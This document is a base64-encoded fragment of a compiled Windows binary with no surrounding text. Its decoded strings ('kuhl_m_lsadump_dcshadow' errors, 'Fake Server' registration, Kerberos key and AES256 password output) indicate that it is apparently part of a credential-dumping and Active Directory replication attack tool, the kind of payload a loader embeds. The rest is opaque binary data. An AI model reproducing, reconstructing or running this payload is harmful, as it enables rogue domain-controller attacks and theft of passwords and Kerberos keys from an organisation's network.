IAAlAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AbABpAG4AZwBlAHIAaQBuAGcAXwBwAHIAbwBwAGEAZwBhAHQAZQAgADsAIABsAGQAYQBwAF8AYwBvAG4AbgBlAGMAdAAgADAAeAAlAHgAIAAoACUAdQApAAoAAABhdHRyaWJ1dGVJRAAAAAAAYXR0cmlidXRlU3ludGF4AHN5c3RlbUZsYWdzAAAAAAAAAAAAAAAAACgAJgAoAG8AYgBqAGUAYwB0AGMAbABhAHMAcwA9AGEAdAB0AHIAaQBiAHUAdABlAFMAYwBoAGUAbQBhACkAKABsAEQAQQBQAEQAaQBzAHAAbABhAHkATgBhAG0AZQA9ACUAcwApACkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwBhAHQAdAByAGkAYgB1AHQAZQAgADsAIABvAGkAZAAgAGkAcwAgAGkAbgB2AGEAbABpAGQAIAAlAFMACgAAAAAAIABGAEwAQQBHAF8AQQBUAFQAUgBfAE4ATwBUAF8AUgBFAFAATABJAEMAQQBUAEUARAAKAAAAAAAgAEYATABBAEcAXwBBAFQAVABSAF8ASQBTAF8AQwBPAE4AUwBUAFIAVQBDAFQARQBEAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAGEAdAB0AHIAaQBiAHUAdABlACAAOwAgAGEAdAB0AHIAaQBiAHUAdABlACAAZABvAGUAcwAgAG4AbwB0ACAAZQB4AGkAcwB0AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AYQB0AHQAcgBpAGIAdQB0AGUAIAA7ACAAbABkAGEAcABfAHMAZQBhAHIAYwBoAF8AcwAgADAAeAAlAHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBzAGkAZAAgADsAIABMAG8AYwBhAGwAQQBsAGwAbwBjACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAaQBkACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAG8AYwB0AGUAdABfAHMAdAByAGkAbgBnACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwAgACUAcwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAG8AYwB0AGUAdABfAHMAdAByAGkAbgBnACAAOwAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBzAHQAcgBpAG4AZwBUAG8ASABlAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AcwBlAGMAdQByAGkAdAB5AF8AZABlAHMAYwByAGkAcAB0AG8AcgAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAZQBjAHUAcgBpAHQAeQBEAGUAcwBjAHIAaQBwAHQAbwByAFQAbwBTAGUAYwB1AHIAaQB0AHkARABlAHMAYwByAGkAcAB0AG8AcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AZABhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AcwB0AHIAaQBuAGcAVABvAEYAaQBsAGUAVABpAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAFAAcgBpAG0AYQByAHkAOgAAAAAAAAAAAFAAYQBjAGsAYQBnAGUAcwAAAAAAAAAAACUAWwBeADoAXQA6ACUAWwBeADoAXQA6ACUAcwAAAAAAUwBhAGwAdAAgACAAOgAgACUAdwBaAAoAQQBFAFMAMgA1ADYAOgAgAAAAAAAAAAAAKABwAGEAcwBzAHcAbwByAGQAIAAtACAAJQB3AFoAKQAgAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AcwB1AHAAcABsAGUAbQBlAG4AdABhAGwAQwByAGUAZABlAG4AdABpAGEAbABzAF8AdgBhAGwAdQBlAEYAcgBvAG0AQQByAGcAcwAgADsAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AcwB0AHIAaQBuAGcAVABvAEgAZQB4AEIAdQBmAGYAZQByACgAQQBFAFMAMgA1ADYAKQAKAAAAAABBAEUAUwAxADIAOAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAdQBwAHAAbABlAG0AZQBuAHQAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwBfAHYAYQBsAHUAZQBGAHIAbwBtAEEAcgBnAHMAIAA7ACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAHMAdAByAGkAbgBnAFQAbwBIAGUAeABCAHUAZgBmAGUAcgAoAEEARQBTADEAMgA4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AcwB1AHAAcABsAGUAbQBlAG4AdABhAGwAQwByAGUAZABlAG4AdABpAGEAbABzAF8AdgBhAGwAdQBlAEYAcgBvAG0AQQByAGcAcwAgADsAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAdQBwAHAAbABlAG0AZQBuAHQAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwBfAHYAYQBsAHUAZQBGAHIAbwBtAEEAcgBnAHMAIAA7ACAARQByAHIAbwByACAAdwBoAGUAbgAgAHAAYQByAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAOgAgACUAcwAgACgAcgBlAHQAOgAgACUAaQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAdQBwAHAAbABlAG0AZQBuAHQAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwBfAHYAYQBsAHUAZQBGAHIAbwBtAEEAcgBnAHMAIAA7ACAATgBVAEwATAAgAGEAcgBnAAoAAAAKAD0APQAgAEUAbgBjAG8AZABlAHIAIABoAGUAbABwAGUAcgAgAGYAbwByACAAcwB1AHAAcABsAGUAbQBlAG4AdABhAGwAQwByAGUAZABlAG4AdABpAGEAbABzACAAPQA9AAoACgAAAFAAcgBpAG0AYQByAHkAOgBLAGUAcgBiAGUAcgBvAHMALQBOAGUAdwBlAHIALQBLAGUAeQBzAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlACAAOwAgAFMAeQBuAHQAYQB4ACAAZgBvAHIAIABhAHQAdAByAGkAYgB1AHQAZQAgACUAcwAgAG4AbwB0ACAAaQBtAHAAbABlAG0AZQBuAHQAZQBkACAAKAAwAHgAJQB4ACkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGUAbgBjAG8AZABlACAAJQBzACAAKAAlAHMAKQAAAAAAAAAAAGcAbwB2AGUAcgBuAHMASQBEAAAAAAAAACgAJgAoAG8AYgBqAGUAYwB0AEMAbABhAHMAcwA9AGMAbABhAHMAcwBTAGMAaABlAG0AYQApACgAbABEAEEAUABEAGkAcwBwAGwAYQB5AE4AYQBtAGUAPQAlAHMAKQApAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwBnAGUAdABfAHMAYwBoAGUAbQBhAF8AbwBpAGQAXwB2AGEAbAB1AGUAcwAgADsAIABvAGIAagBlAGMAdABDAGwAYQBzAHMAIAAlAHMAIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEEARAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AZwBlAHQAXwBzAGMAaABlAG0AYQBfAG8AaQBkAF8AdgBhAGwAdQBlAHMAIAA7ACAAbwBiAGoAZQBjAHQAQwBsAGEAcwBzACAAbgBvAHQAIABmAG8AdQBuAGQAIABpAG4AIABBAEQAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAAAqACoAIABBAHQAdAByAGkAYgB1AHQAZQBzACAAYwBoAGUAYwBrAGkAbgBnACAAKgAqAAoACgAAACMAJQB1ADoAIAAlAHMACgAAAAAAAAAAACoAKgAgAE8AYgBqAGUAYwB0AHMAIAAqACoACgAKAAAATwBiAGoAZQBjAHQAIAB3AGkAbABsACAAYgBlACAAYQBkAGQAZQBkAAoAAAAAAAAARAB5AG4AYQBtAGkAYwAgAG8AYgBqAGUAYwB0AAoAAABPAGIAagBlAGMAdABHAFUASQBEAAAAAAAgACAAdwBpAHQAaAAgAEcAVQBJAEQAIAAlAHMACgAAACAAIAB3AGkAdABoACAAUABhAHIAZQBuAHQAIABHAFUASQBEACAAJQBzAAoAAAAAAE8AYgBqAGUAYwB0AFMAaQBkAAAAAAAAACAAIAB3AGkAdABoACAAUwBJAEQAIAAlAHMACgAAAAAAIAAgACUAcwAgACgAJQBTAC0AJQB4ACAAcgBlAHYAIAAlAHUAKQA6ACAACgAAAAAAIAAgACAAIAAlAHMACgAgACAAIAAgACgAAAAAAAAAAAAgACAAIAAgAHUAcwBuAFQAaQBtAGUAQwBoAGEAbgBnAGUAZAA6AAAAIAAgACAAIAB1AHMAbgBPAHIAaQBnAGkAbgBhAHQAaQBuAGcAOgAlAHUACgAAAAAAIAAgACAAIAB1AGkAZABPAHIAaQBnAGkAbgBhAHQAaQBuAGcARABzAGEAOgAAAAAAKgAqACAARABvAG0AYQBpAG4AIABJAG4AZgBvACAAKgAqAAoACgAAACoAKgAgAFMAZQByAHYAZQByACAASQBuAGYAbwAgACoAKgAKAAoAAABTAGUAcgB2AGUAcgA6ACAAJQBzAAoAIAAgAEkAbgBzAHQAYQBuAGMAZQBJAGQAIAAgADoAIAAAAAoAIAAgAEkAbgB2AG8AYwBhAHQAaQBvAG4ASQBkADoAIAAAAAAAAAAAAAAAAAAAAEYAYQBrAGUAIABTAGUAcgB2AGUAcgAgACgAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQAKQA6ACAAJQBzAAoAIAAgAEkAbgBzAHQAYQBuAGMAZQBJAGQAIAAgADoAIAAAAAAAAABGAGEAawBlACAAUwBlAHIAdgBlAHIAIAAoAG4AbwB0ACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQAKQA6ACAAJQBzAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQBfAHMAZQBuAHMAaQB0AGkAdgBlAF8AdgBhAGwAdQBlACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQATgB0AE8AdwBmAFAAdwBkAFcAaQB0AGgASQBuAGQAZQB4AAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGUAbgBjAG8AZABlAF8AcwBlAG4AcwBpAHQAaQB2AGUAXwB2AGEAbAB1AGUAIAA7ACAAVQBuAGUAeABwAGUAYwB0AGUAZAAgAGgAYQBzAGgAIABsAGUAbgAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYwBhAGwAbABfAEEAZABkAEUAbgB0AHIAeQAgADsAIABJAEQATABfAEQAUgBTAEEAZABkAEUAbgB0AHIAeQAgAHIAZQB0AHUAcgBuAGUAZAAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGMAYQBsAGwAXwBBAGQAZABFAG4AdAByAHkAIAA7ACAASQBEAEwAXwBEAFIAUwBBAGQAZABFAG4AdAByAHkAOgAgAHUAbgBlAHgAcABlAGMAdABlAGQAIAB2AGUAcgBzAGkAbwBuACAAJQB1AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYwBhAGwAbABfAEEAZABkAEUAbgB0AHIAeQAgADsAIABJAEQATABfAEQAUgBTAEEAZABkAEUAbgB0AHIAeQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYwBhAGwAbABfAEEAZABkAEUAbgB0AHIAeQAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGE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MBAAMNAgADFIIcAEhCgAhNA4AIVIa8BjgFtAUwBJwEWAQUAETBAATcBJgEVAQMAESCAASVAsAEjQKABIyDvAMcAtgAQUCAAU0AQABEwgAE1QOABM0DAATcg/gDXAMYAEvEAAveAUAJGgGACBkFwAgVBYAIDQVACDSHPAa4BjQFsAUcAEYCgAYZAoAGFQJABg0CAAYMhTgEsAQcAEGAgAGkgIwAQkDAAkBHgACMAAAAQkDAAkBGgACMAAAAUYTAEaIEAA8eBEAM2gSAC90LwAvZC4ALzQtAC8BJgAk8CLgINAewBxQAAABLw4AL3gLACloDAAiARsAF/AV4BPQEcAPcA5gDTAMUAELAwALARIABDAAAAETAQATQgAAARcHABd0FQAXNBQAFwESAAtQAAABFwEAF0IAAAEOAQAOQgAAARwEABwBJQARMBBQARsLABtkKgAbVCkAGzQoABsBJAAU8BLgEHAAAAESBgASdBEAEjQQABLSC1ABDQIADTIJMAEQAwAQYgxwCzAAAAEWBAAWMhJwEWAQMAEVCQAVIhHwD+AN0AvACXAIYAdQBjAAAAEbDAAbdAgAG2QHABtUBgAbNAUAG/AZ4BfQFcABBAEABCIAAAESCAASVAkAEjQIABIyDuAMcAtgARMIABN0BAAPZAMAC1QCAAc0AQABDQUADTQaAA0BGAAGcAAAAQ8GAA9kDQAPNAwAD5ILcAEXCQAXZEwAF1RLABc0SgAXAUgAEHAAAAEZCgAZZBQAGTQTABmyEvAQ4A7ADHALUAEOBgAOkgfgBXAEYAMwAlABFAgAFGQLABRUCgAUNAkAFFIQcAEPBgAPZAoADzQJAA9SC3ABHAwAHGQOABxUDQAcNAwAHFIY8BbgFNASwBBwAQ8GAA9kCAAPNAcADzILcAESCAASVAwAEjQKABJSDuAMcAtgAR4KAB40DwAeUhrwGOAW0BTAEnARYBBQASoKACoBFQAf8B3gG9AZwBdwFmAVMBRQAR8MAB/EEwAfdBIAH2QRAB80EAAfshjwFuAUUAESBgASdA8AEjQMABKSC1ABHgslHnQKABpkCQATNAgADyMKMgbwBOACUAAAARQGABRkBwAUNAYAFDIQcAEJAwAJASQAAjAAAAEJAwAJASwAAjAAAAEQCAAQNAsAEDIM4ArACHAHYAZQARMIABM0DAATMgzwCuAIcAdgBlABDwYAD2QLAA80CQAPUgtwARgKABhkCwAYVAoAGDQIABgyFPAS4BBwARYKABZUDAAWNAsAFjIS8BDgDsAMcAtgARQKABQ0DwAUUhDwDuAM0ArACHAHYAZQARgKABhkCwAYVAoAGDQJABgyFPAS4BBwARQJABSCDfAL4AnQB8AFcARgAzACUAAAARQGABRkCgAUNAgAFFIQcAEcCgAcNBIAHJIV8BPgEdAPwA1wDGALUAESCAASVAwAEjQLABJSDuAMcAtgARIIABJSC/AJ4AfABXAEYAMwAlABEwgAEzQQABNyDPAK4AhwB2AGUAEfDAAfdA8AH2QOAB80DAAfUhjwFuAU0BLAEFABHAwAHGQNABxUDAAcNAsAHDIY8BbgFNASwBBwARgKABhkCwAYVAoAGDQJABgyFOASwBBwARQJABTiDfAL4AnQB8AFcARgAzACUAAAASYLACY0NwAmAS4AGvAY4BbQFMAScBFgEFAAAAEWCgAWVBIAFjQRABaSEvAQ4A7ADHALYAESBwASZBkAEjQYABIBFgALcAAAARQKABQ0FQAUshDwDuAM0ArACHAHYAZQARwMABxkEAAcVA8AHDQOABxyGPAW4BTQEsAQcAEkCgAkNBkAJPIa8BjgFtAUwBJwEWAQUAEaCgAaNBAAGnIW8BTgEtAQwA5wDWAMUAEUCAAUZA4AFFQNABQ0DAAUkhBwARUJABViEfAP4A3QC8AJcAhgB1AGMAAAAScNACd0HgAnZB0AJzQcACcBFgAc8BrgGNAWwBRQAAABFAoAFDQOABQyEPAO4AzQCsAIcAdgBlABGAoAGGQNABhUDAAYNAsAGFIU8BLgEHABFgoAFlQOABY0DQAWUhLwEOAOwAxwC2ABGwoAGzQSABuSFPAS4BDQDsAMcAtgClABHAwAHGQRABxUEAAcNA8AHHIY8BbgFNASwBBwARkKABk0EgAZkhXwE+AR0A/ADXAMYAtQASIJACKiG/AZ4BfQFcATcBJgETAQUAAAARcKABc0EQAXchDwDuAM0ArACHAHYAZQARIIABJUCwASNAkAEjIO4AxwC2ABFAoAFDQUABSSEPAO4AzQCsAIcAdgBlABHgkAHqIa8BjgFtAUwBJwEWAQUA8wAAABIwkAI4If8B3gG9AZwBdwFmAVUBQwAAABGQoAGTQPABlSFfAT4BHQD8ANcAx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